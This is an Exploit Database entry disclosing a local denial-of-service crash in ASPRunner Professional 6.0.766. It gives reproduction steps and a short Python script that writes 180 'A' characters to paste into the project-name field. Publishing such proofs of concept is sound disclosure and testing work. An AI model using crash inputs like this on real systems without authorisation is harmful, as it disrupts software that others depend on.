



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

ASPRunner Professional 6.0.766 - Denial of Service (PoC)

EDB-ID:

46293

CVE:

N/A

EDB Verified: ✗

Author:

[RAFAEL PEDRERO](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-01-31

Vulnerable App:



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: ASPRunner Professional v6.0.766 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.xlinesoft.com/asprunnerpro
# Software Link : http://www.xlinesoft.com/asprunnerpro
# Tested Version: v6.0.766
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
```

```
# Steps to Produce the Crash:
```

```
# 1.- Run AspRunnerPro.exe
# 2.- copy content AspRunnerPro_Crash.txt or 180 "A" to clipboard (result
from this python script)
# 3.- Go to Wizard "Create a new project" - in "Project name:" field paste
the result (180 "A" or more)
# 4.- Click in Next button and you will see a crash.
```

```
#!/usr/bin/env python
```

```
crash = "\x41" * 180
f = open ("AspRunnerPro_Crash.txt", "w")
f.write(crash)
f.close()
```

Tags: [Denial of Service \(DoS\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.